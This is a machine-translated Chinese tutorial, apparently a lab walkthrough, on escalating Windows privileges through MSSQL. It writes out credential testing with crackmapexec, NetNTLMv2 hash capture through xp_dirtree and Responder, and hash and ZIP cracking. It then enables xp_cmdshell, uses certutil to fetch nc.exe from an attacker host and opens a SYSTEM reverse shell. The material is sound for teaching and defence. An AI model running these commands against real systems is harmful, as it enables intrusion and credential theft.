Windows 提权-MSSQL
本文通过 Google 翻译 MSSQL – Windows Privilege Escalation 这篇文章所产生，本人仅是对呆板翻译中部分表达别扭的字词进行了校正及个别注释补充。导航
[*]0 前言
[*]1 搜寻 MSSQL 服务
[*]2 场景一：在数据库中查找凭证
[*]2.1 手动枚举数据库
[*]2.2 破解发现的哈希
[*]2.3 权限横向移动
[*]3 场景二：转储 MSSQL 服务账户的哈希
[*]3.1 破解服务账户的哈希
[*]3.2 获取服务帐户的 Shell
[*]4 场景三：在 MSSQL 中执行 CMD 命令
[*]4.1 搜寻 MSSQL 特权用户 sa 的凭据
[*]4.2 破解 ZIP 文件暗码
[*]4.3 使用 xp_cmdshell 获取 SYSTEM Shell
0、前言
在这篇文章中，我们将深入探讨针对 MSSQL 服务器的各种攻击。通过这些攻击，以了解怎样使用该服务进行 Windows 权限的提拔。
接下来，我们将看到导致权限提拔的三种情况：（1）在数据库中寻找有价值的信息；（2）诱骗 MSSQL 服务账户的哈希值；（3）用 MSSQL 的 sa 账户获得 SYSTEM shell。
但在此之前，我们将通过远程和本地枚举 MSSQL 服务，以确定它的运行状态。
1、搜寻 MSSQL 服务
通常，我们并不认为 MSSQL 会是一种权限提拔的手段。但是，在许多情况下，是可以或许使用 MSSQL 来提拔到不同的用户、服务帐户或 SYSTEM。
Microsoft SQL Server （MSSQL） 是由 Microsoft 开发的关系数据库管理系统。作为数据库服务器，它是一个软件产品，其重要功能是根据其他软件应用步伐的请求存储和检索数据。
基本上，有两种方法可用于查找目标上正在运行的 MSSQL 服务。第一种是远程查找，仅当该服务允许远程连接时这种方法才可行。第二种是本地查找，当防火墙阻止外部连接 SQL 服务器或该服务在本地（127.0.0.1）运行时才会采用这种方式。
（1）假如 MSSQL 服务允许远程连接，那么我们在 nmap 扫描时就会在默认端口 1433 上看到它。【但也大概不是在默认端口】
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161830714-1006457333.png
从上图可以看到 MSSQL 运行在默认端口 1433 上。别的，我们还可以看到 WinRM 服务运行在 5985 端口，RDP 服务运行在 3389 端口，这些信息对于后面的末节来说也是很关键的信息。
假如发现 MSSQL 正在运行，那我们需要测试找到的全部凭证，以尝试登录服务器。
（2）假如在 nmap 扫描期间没有看到 MSSQL 在外部运行，但是当我们在目标呆板上站稳了脚跟，使用以下命令枚举时，发现 MSSQL 正在运行：
netstat -nao | findstr /i "Local listening established"https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161831095-1903726307.png
这意味着该服务大概是被防火墙阻止了外部连接，因为从上图来看它监听在 0.0.0.0 全接口上。而假如服务监听在 127.0.0.1 回环接口上，则表示它仅在本地运行，而且只能由 localhost 访问。
在这种情况下，我们只能借助端口转发功能，将 MSSQL 本地回环端口转发到攻击者的呆板上，这样就可以在攻击者本机与它进行交互。
关于端口转发的详情，可在此处查看相关文章。
现在，已经确认 MSSQL 服务正在目标机上运行着（无论内/外部运行），接下来我们就需要查找访问服务器的凭据。
2、场景一：在数据库中查找凭证
在这个场景中，假设我们在枚举目标的过程中找到了一个用户的凭据，通过该凭据可以或许登录 MSSQL 服务器。
然后，我们将学习怎样从自定义数据库中提取信息，并在其中一个表中找到存储的用户名/哈希值。接着，我们成功的破解了其中一个哈希值，并发现可以通过该凭据访问系统。
从本质上讲，我们把这种权限从一个用户提拔到另一个用户，称为横向提权或水平提权。
权限提拔并不总是 从用户直接提拔到管理员 那么简朴。有时我们会发现，在找到攻击向量以获得管理员或 SYSTEM 权限（纵向）之前，我们需要先从一个用户提拔到另一个用户（横向）。
在此示例中，假设我们在端口 445 上的 SMB 共享中发现了一个有趣的文件，其中包含用户 bob 的凭据。
bob : P@ssw0rd
现在我们找到了一个凭据，但是还不知道可以在什么地方去使用它，因此还需在任何大概的地方不断的测试这对凭据，以收获不测惊喜。
使用工具 crackmapexec 对该凭据进行 SMB 连接测试：
crackmapexec smb 172.16.1.250 -u bob -p 'P@ssw0rd'https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161831935-814057042.png
可以看到该凭据是有效的，但是，却无法以该用户的身份在系统上获得驻足点。
注：通过 crackmapexec 工具测试的凭证标识 假如是 [-] 提示，则表示该凭证是无效的； 假如是 [+] 提示，则表示该凭证是有效的，但没有访问权限；假如是 [+] 和 (Pwn3d!) 提示，则表示该凭证有效且拥有访问权限。
用法注意：crackmapexec 资助中的标准用法似乎是 crackmapexec smb target 但是我发现这种用法是错误的，应该以crackmapexec smb target 的方式使用才对，比方 crackmapexec smb 192.168.56.50 -u user.txt -p pass.txt --continue-on-success。
最终，通过在 MSSQL 服务上进行测试，发现该凭据有效且可以访问数据库！
2.1、手动枚举数据库
我们可以使用两种工具登录 MSSQL 服务器并与之交互： sqsh 和 mssqlclient.py。
sqsh 工具内置于 kali 中，而 mssqlclient.py 是 Impacket 套件中的工具。
要使用 mssqlclient 登录，可以使用以下命令：
mssqlclient.py -p 1433 bob:'P@ssw0rd'@172.16.1.250 -windows-auth注：使用 mssqlclient.py 时大概会出现无法连接的情况，仅提示“Encryption required, switching to TLS”信息，此时可以参考这个帖子 中修改 tds.py 文件的办法解决问题。
要使用 sqsh 登录，我们可以使用以下命令：
sqsh -S 172.16.1.250 -U bob -P 'P@ssw0rd'https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161831490-1090570068.png
现在我们已经登录 MSSQL 服务器，接下来，需要从中提取一些信息。起首从 MSSQL 数据库帐户开始。
在 MSSQL 中执行的每条命令，后面都要跟 go 。
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161830786-2029331511.png
在这里，我们看到有两个用户，分别是 bob 和 sa，而这两个账户都已启用。但由于 bob 不是特权帐户，因此无法看到 bob 和 sa 帐户的暗码哈希值。
sa 帐户是 MSSQL 内置的超级用户帐户，具有完全管理权限。
接着，查看 MSSQL 数据库中存在的库名称。
SELECT name FROM master.dbo.sysdatabaseshttps://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161831012-791768710.png
从列出的库中可以看到 customdb 库很突出，因此，可以先辈入该库，然后使用以下两条命令列出该库的全部表：
use customdb;
SELECT * FROM customdb.INFORMATION_SCHEMA.TABLES;
gohttps://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161831251-464846688.png
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161829935-2119419588.png
可以看到该库有四个表：custom、test、xtr、users。
通常，当我们想转储数据库的表时，最希望看到的就是表名字里有“user”或“password”的字样。当然，它的表现情势大概有多种，比如“usr”和“pwd”。
由于 user 表是最令人感兴趣的表，因此我们先从那里开始。
SELECT * FROM users;
gohttps://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161831071-1137698687.png
BOOM！我们从 customdb 数据库的 users 表中转储了全部的用户名和暗码哈希值！
2.2、破解发现的哈希
现在我们得到了三个哈希值，下一件事就是确定哈希值的范例，这可以使用名为 hash-identifier 的工具来完成。
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161831411-1013293002.png
python hash-id.py '75c2f6c0653c84f057fa82be2f59aec1'https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161836424-955993542.png
这款工具之以是比 hashid 更胜一筹，是因为它会对被检测的哈希值进行一个人性化的判断（最大概是...有大概是...）。
鉴于 md5 是最有大概被使用的哈希范例，因此，在本例中，我们将不再使用常用的 hashcat，而是使用一个名为 crackstation 的网站去破解它。
Crackstation 拥有一个包含 15 亿条记载的庞大查找表，可用于快速破解使用常见哈希算法的哈希值，比方：LM、NTLM、md2、md4、md5、md5（md5_hex）、md5-half、sha1、sha224、sha256、sha384、sha512、ripeMD160、whirlpool、MySQL 4.1+ （sha1（sha1_bin））、QubesV3.1BackupDefaults。
我们可以一次将全部要破解的哈希值全部输入到 crackstation 中，然后看它是否可以或许破解其中任何一个。
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161831624-1943008185.png
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161831469-1243537452.png
Amazing！网站成功破解了其中两个暗码。其中一个是我们已经知道的 "P@ssw0rd"，它属于 bob；然而，第二个暗码 "Password123!" 属于 Alice 的哈希值。
Alice : Password123!
2.3、权限横向移动
现在我们已经找到了另一个用户的凭证，可以再次使用 crackmapexec 以确认它是否有效。
crackmapexec smb 172.16.1.250 -u Alice -p 'Password123!'https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161835419-514733747.png
可以看到该凭证有效但是不能通过 SMB 登录系统。这也说明白 Alice 在应用步伐（大概是网站）中的凭证与她登录系统的凭证是相同的。
暗码重用是个大问题啊！
现在，我们需要在全部大概的地方（RDP、WinRM、SMB 等）去尝试这个凭证，以查看此账户具有哪些 服务的访问权限。
sudo python3 rdp_checker.py -u alice -p 'Password123!' 172.16.1.250https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161832054-1716632824.png
Perfect！使用 RDP 检查器，我们发现用户 alice 是远程桌面用户组的成员，可以通过 RDP 访问系统。
现在使用以下命令登录系统：
sudo xfreerdp /u:alice /p:'Password123!' /v:172.16.1.250 +clipboardhttps://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161832882-2122065716.png
Amazing！我们成功地进行了水平权限提拔，同时也增加了我们的访问权限！
回顾一下：
[*]我们先在一个 SMB 共享文件夹中找到了用户 bob 的凭据。
[*]接着发现用户 bob 没有办法登录目标呆板，但可以对 MSSQL 服务器进行访问。
[*]然后枚举 MSSQL 自定义数据库，在 customdb 数据库的 users 表中发现 Alice 的暗码哈希。
[*]破解 Alice 的暗码哈希后，我们发现该账户暗码也是用户登录系统时使用的暗码。
[*]末了，我们发现 Alice 是 Remote Desktop Users 组的一部分，然后通过 RDP 登录系统。
由于我们可以或许获得第二个用户的凭据，并使用该凭据增加对目标的访问权限，因此本末节示例其实是一个横向权限提拔的例子。
3、场景二：转储 MSSQL 服务账户的哈希
我们不大概总是会那么幸运，可以在数据库中找到可以轻松破解的暗码哈希。但是，还有别的方法可用于尝试攻击此服务。
在本场景中，假设我们还是使用上面找到的 bob 用户凭证访问 MSSQL，但这次在数据库中没有找到任何可以被破解的哈希值。同时，我们发现 bob 作为一个低权限账户，它什么都做不了。
当发现自己处于这种情况时，我们可以通过尝试连接不存在的 SMB 共享来滥用 MSSQL 服务器本身的权限。通过运行 Responder 工具，我们可以或许截获 对不存在共享 发起的请求，并转储其中 MSSQL 服务帐户的哈希值。
只有当服务运行的账户是普通用户账户或服务账户时，这种技术才有效。假如服务以 SYSTEM 身份运行，那么即便能捕获到哈希值也无法破解。
起首，我们需要启动 Responder。但在此之前，需要使用 ip a 命令检查网卡的名称。
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161832260-1530061494.png
可以看到 eth0 是我们想要监听的网卡。现在，可以使用以下命令启动 Responder：
responder -I eth0https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161832100-1430341034.png
SMB 服务器的状态必须是 ON，我们才能继续下面的工作。
现在，我们已经将 Responder 运行了起来，然后就可以在数据库中使用以下命令尝试访问不存在的共享，以让 Responder 可以或许拦截请求并转储 MSSQL 服务账户的 NetNTLMv2 哈希值。
exec master..xp_dirtree '\\172.16.1.30\test'
gohttps://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161832630-2122953310.png
在 sqsh 中可以看到 SQL 命令虽已被执行，可似乎什么也没有发生。但当我们再次检查 Responder 时，发现它已成功的捕获到了 MSSQL 服务帐户的哈希值！
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161833677-52588715.png
现在，我们需要拷贝这个哈希值并尝试破解它。这时 crackstation 网站已无法处置处罚这种范例的哈希值，因此我们将使用 hashcat 工具。
3.1、破解服务账户的哈希
将获取的哈希值复制到 TXT 文件中，
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161834796-1020498682.png
然后通过以下命令确定 hashcat 要破解此类哈希所需的哈希模式：
hashcat -h | grep -i "netntlmv2"https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161832511-1912199056.png
在这里，我们可以看到这种哈希的哈希模式是 5600，以是现在可以在 hashcat 命令中使用它，如下所示：
hashcat -m 5600 ./responder_hash.txt /usr/share/wordlists/rockyou.txt -o cracked.txthttps://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161832654-1046196798.png
短短 3 秒后，哈希值便被破解，然后就可以在 cracked.txt 文件中查看暗码。
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161832948-1016781952.png
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161833779-1541176649.png
就这样，我们现在拥有了 MSSQL 服务账户的凭证！
MSSQL$SQLEXPRESS : service#1
3.2、获取服务帐户的 Shell
有了新的凭证后，我们可以在任何大概的地方（RDP、WinRM、SMB等）去测试它，以发现此帐户还有什么额外服务的访问权限。
当使用 crackmapexec 测试该凭证对 WinRM 的访问时，我们发现了下面信息：
crackmapexec winrm 172.16.1.250 -u 'MSSQL$SQLEXPRESS' -p 'service#1' --local-authhttps://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161833457-1924937945.png
看到 Pwn3d！这表示该用户是 Remote Management Users 组的成员，这意味着可以使用此服务来执行命令。
由于可以通过 WinRM 访问系统，因此我们使用一个名为 evil-winrm 的工具以 MSSQL$SQLEXPRESS 的身份去获取受害者的 shell。
evil-winrm -u 'MSSQL$SQLEXPRESS' -p 'service#1' -i 172.16.1.250https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161834626-2123393180.png
Amazing！就像在上一节看到 alice 那样，我们成功地执行了水平权限提拔并增加了我们的访问权限！
注：这种服务账户通常不会像在本示例中展示的那样很容易就被破解掉，但它提供了一个思绪：假如服务的登录身份（服务-属性-登录-登录身份）是用户账户，那么这时间，这种方法就显得很有效了。【这种方法很有必要一试】
别的，由于这是一个服务帐户，因此可以使用 whoami /priv 命令来检查它是否启用了 SeImpersonate 权限。
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161833358-567684098.png
在这里，可以看到 SeImpersonate 权限已启用！这意味着我们可以很容易地使用此权限通过 potato 攻击升级到 SYSTEM。
要了解怎样滥用 SeImpersonate 权限来获取 SYSTEM shell，可以查看这篇文章。
4、场景三：在 MSSQL 中执行 CMD 命令
在这末了一个场景中，我们将看到使用特权账户 sa 访问 MSSQL 服务器时会发生什么。
任何 MSSQL 帐户都可以具有特权，但 sa 账户是 MSSQL 的内置超级用户帐户。
同样地，假设我们仍以用户 bob 的身份在目标系统上站稳了脚跟。
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161834255-1109424593.png
4.1、搜寻 MSSQL 特权用户 sa 的凭据
现在我们已经有了驻足点，那就可以从一些手动枚举开始，看看系统上是否有有趣的文件。
当通过枚举本地服务发现 SQL Server 正在目标上运行时，我们将需要查找大概包含凭证的文件。而这些文件很大概就位于 Web 服务器目次 C:\inetpub\www 中。但是，它们也大概在别的任何地方出现（假如确实存在的话）。
假设在枚举过程中，我们在 C 盘中发现了一个名为 customapp 的文件夹。
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161833845-2009631898.png
而这对我们来说很感兴趣，因为在 MSSQL 数据库中找到的自定义库的名称也叫 customdb。因此，该应用步伐和数据库很有大概是存在接洽的。
遍历该文件夹，在其子目次 Backup 中我们找到了一个有趣的 ZIP 文件。
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161834547-167242392.png
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161834301-1301555422.png
将此文件通过 SMB 共享发送回攻击者呆板以进行更仔细的查看。
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161834236-1573075984.png
当尝试将其解压时，我们发现它受到了暗码保护...
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161834638-54933728.png
4.2、破解 ZIP 文件暗码
对于大多数受暗码保护的文件范例，John the Ripper 通常都可以通过配套工具将受保护文件转换为可破解的格式。而这些配套工具的命名格式都是 xxx2john 这样的，因此可以使用以下命令找到它们：
locate *2johnhttps://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161835102-1258633683.png
从上面可以看出，John 可以或许破解许多文件范例，其中就包括 ZIP 文件格式。
于是，就可以使用以下命令将 ZIP 文件转换为可破解的格式：
zip2john MSSQL_Backup.zip > john_zip将输出重定向到文件后，现在可以尝试使用 John 来破解暗码。
john john_zip --wordlist=/usr/share/wordlists/rockyou.txthttps://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161835034-363115122.png
John 几乎很快就破解了暗码，现在我们可以使用这个暗码来解压文件。
unzip MSSQL_Backup.zip现在，当系统提示输入暗码时，我们输入 superuser，它会从 ZIP 中提取文件。
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161835141-2098651737.png
ZIP 内部只有一个 TXT 文件，读取文件的内容，发现了 sa 用户的凭证！
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161836077-1766257845.png
sa : VeryComplexP@ssw0rd
4.3、使用 xp_cmdshell 获取 SYSTEM Shell
在 MSSQL 服务器上测试这个凭据，发现可以正常登录数据库！
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161835276-847200646.png
当我们可以使用特权帐户访问数据库时，就可以使用称为 xp_cmdshell 的内置工具 ，它允许我们以运行 MSSQL 服务的帐户身份执行命令。之前，我们看到该服务是以 MSSQL$SQLEXPRESS 服务账户的身份在运行。但是在本例中，我们幸运地发现 MSSQL 服务实际上是以 SYSTEM 账户运行的。
注：以 SYSTEM 账户运行 MSSQL 服务也算是比较常见的情况吧。
默认情况下，xp_cmdshell 功能是被禁用的，于是当我们尝试运行以下命令时将不起作用。
xp_cmdshell 'whoami'
gohttps://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161835873-1311238578.png
但由于我们是 sa 超级账户，拥有对 MSSQL 服务器的完全控制权限，因此只需使用以下命令即可启用 xp_cmdshell 功能：
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
gohttps://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161835807-1726304764.png
注：此时使用 mssqlclient 工具会更方便一些，只需要一条 enable_xp_cmdshell 命令便可开启 xp_cmdshell 功能。
现在，当我们再次尝试 whoami 命令时，可以看到命令的执行效果。
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161835530-1261323353.png
无论何时进入 MSSQL 服务器，起首要检查的就是是否可以执行命令或打开 xp_cmdshell，即便你的账户不是 sa。
在确认当前身份是 SYSTEM 之后，我们隔断完整 shell 也就几步之遥了。
接下来，我们将通过 MSSQL 服务器将 nc.exe 转移到受害者身上，然后以 SYSTEM 身份执行该文件。
起首，我们需要开启 HTTP 服务器并托管 nc.exe。
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161835756-1145590104.png
接着，创建一个 C:\temp 文件夹，然后下载并确认 nc.exe。
xp_cmdshell 'mkdir C:\temp'
go
xp_cmdshell 'certutil -split -urlcache -f http://172.16.1.30/nc.exe C:\temp\nc.exe'
go
xp_cmdshell 'dir C:\temp'
gohttps://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161836461-193806524.png
末了，就是在攻击者呆板上启动一个 443 端口的 netcat 监听器，然后使用 nc.exe 将 shell 推送到我们的监听器上。
xp_cmdshell 'C:\temp\nc.exe 172.16.1.30 443 -e cmd.exe'
gohttps://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161835832-490495795.png
执行命令 go 之后，可以看到提示符被挂起。当我们回到 netcat 监听器，便看到了一个 SYSTEM shell！
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250307161836149-1909697366.png
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。
页:
[1]